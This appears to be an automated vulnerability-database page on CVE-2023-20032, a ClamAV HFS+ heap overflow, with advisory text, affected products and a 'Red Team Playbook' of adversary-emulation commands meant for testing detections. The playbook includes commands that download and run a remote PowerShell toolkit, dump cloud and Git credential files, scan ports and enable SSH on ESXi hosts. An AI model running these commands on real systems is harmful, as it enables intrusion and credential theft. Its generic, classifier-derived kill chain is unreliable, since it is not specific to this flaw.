CVE-2023-20032

CRITICAL Pub 16/02 Upd 02/08

Overview

This vulnerability is a heap-based buffer overflow in the HFS+ partition file parser within the ClamAV scanning library integrated into Cisco Secure Web Appliance. The root cause is a missing buffer size validation when processing crafted HFS+ partition files, leading to unchecked memory writes. The flaw specifically affects ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier used in the scanning component of the product.

Vulnerability Description

On Feb 15, 2023, the following vulnerability in the ClamAV scanning library was disclosed: A vulnerability in the HFS+ partition file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to execute arbitrary code. This vulnerability is due to a missing buffer size check that may result in a heap buffer overflow write. An attacker could exploit this vulnerability by submitting a crafted HFS+ partition file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to execute arbitrary code with the privileges of the ClamAV scanning process, or else crash the process, resulting in a denial of service (DoS) condition. For a description of this vulnerability, see the ClamAV blog ["https://blog.clamav.net/"].

Impact

An unauthenticated remote attacker can exploit this vulnerability by submitting a crafted HFS+ partition file to the ClamAV scanning process, leading to arbitrary code execution with the scanning process's privileges or causing a denial of service via process crash. The attack requires only network access to the scanning service and no user interaction or authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). This can result in full compromise of the scanning component, potential lateral movement, or service disruption impacting business continuity.

Solution

Cisco recommends applying the updates detailed in the Cisco Security Advisory cisco-sa-clamav-q8DThCy available at https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-q8DThCy. Administrators should upgrade Cisco Secure Endpoint and Secure Endpoint Private Cloud to versions that include patched ClamAV libraries beyond 1.0.0, 0.105.1, or 0.103.7. No specific workarounds are provided; timely application of vendor patches is required to remediate this issue.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the ClamAV scanning library arises from a missing buffer size check within the HFS+ partition file parser. This oversight can lead to a heap buffer overflow, allowing an attacker to manipulate memory allocation and potentially execute arbitrary code. Specifically, when an affected version of ClamAV processes a crafted HFS+ partition file, the absence of proper validation enables an attacker to overwrite memory locations, which can result in the execution of malicious payloads. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk to systems utilizing the affected versions of ClamAV.

Exploitation of this vulnerability can occur through various attack vectors, primarily involving the submission of specially crafted HFS+ files for scanning. An attacker could leverage social engineering tactics to convince a user to upload a malicious file or could automate the process by targeting systems with exposed ClamAV scanning services. Once the file is processed, the attacker gains the ability to execute arbitrary code with the same privileges as the ClamAV scanning process. This could lead to unauthorized access, data exfiltration, or even complete system compromise. Furthermore, if the exploit fails, it may crash the ClamAV process, resulting in a denial of service condition that disrupts security operations.

The real-world impact of this vulnerability is significant, particularly for organizations relying on ClamAV for malware detection and prevention. The potential for arbitrary code execution poses a severe business risk, as it could lead to data breaches, loss of sensitive information, and reputational damage. Organizations utilizing affected products, such as those from Cisco and Stormshield, may find themselves vulnerable not only to direct attacks but also to collateral damage from compromised systems. The financial implications of such incidents can be substantial, encompassing recovery costs, regulatory fines, and loss of customer trust.

To detect and mitigate this vulnerability, organizations should prioritize immediate updates to the latest versions of ClamAV that address this flaw. Regular patch management practices are essential in maintaining the security posture of systems. Additionally, implementing robust intrusion detection systems can help identify attempts to exploit this vulnerability by monitoring for unusual file submissions or scanning activity. Network segmentation and access controls can further limit exposure to potential attacks, ensuring that only trusted sources can interact with ClamAV services. Educating users about the risks associated with uploading files and reinforcing safe browsing practices can also mitigate the risk of exploitation.

In conclusion, the vulnerability in the ClamAV scanning library presents a critical threat to systems that rely on its functionality. The combination of a missing buffer size check and the potential for arbitrary code execution creates a high-risk scenario for organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can implement effective detection and mitigation strategies to safeguard their environments against this significant threat.

Affected Products (18)

Vendor Product Version CPE
cisco Cisco Secure Endpoint All cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:linux:*:*
cisco Cisco Secure Endpoint All cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:macos:*:*
cisco Cisco Secure Endpoint All cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:windows:*:*
cisco Cisco Secure Endpoint All cpe:2.3:a:cisco:secure_endpoint:*:*:*:*:*:windows:*:*
cisco Cisco Secure Endpoint Private Cloud All cpe:2.3:a:cisco:secure_endpoint_private_cloud:*:*:*:*:*:*:*:*
cisco Cisco Web Security Appliance All cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
cisco Cisco Web Security Appliance All cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
cisco Cisco Web Security Appliance All cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
cisco Cisco Web Security Appliance All cpe:2.3:a:cisco:web_security_appliance:*:*:*:*:*:*:*:*
clamav Clamav Clamav All cpe:2.3:a:clamav:clamav:*:*:*:*:*:*:*:*
clamav Clamav Clamav All cpe:2.3:a:clamav:clamav:*:*:*:*:*:*:*:*
clamav Clamav Clamav 1.0.0 cpe:2.3:a:clamav:clamav:1.0.0:-:*:*:*:*:*:*
clamav Clamav Clamav 1.0.0 cpe:2.3:a:clamav:clamav:1.0.0:rc:*:*:*:*:*:*
clamav Clamav Clamav 1.0.0 cpe:2.3:a:clamav:clamav:1.0.0:rc2:*:*:*:*:*:*
stormshield Stormshield Stormshield Network Security All cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
stormshield Stormshield Stormshield Network Security All cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
stormshield Stormshield Stormshield Network Security All cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*
stormshield Stormshield Stormshield Network Security All cpe:2.3:a:stormshield:stormshield_network_security:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
41% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-20032
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-q8DThCy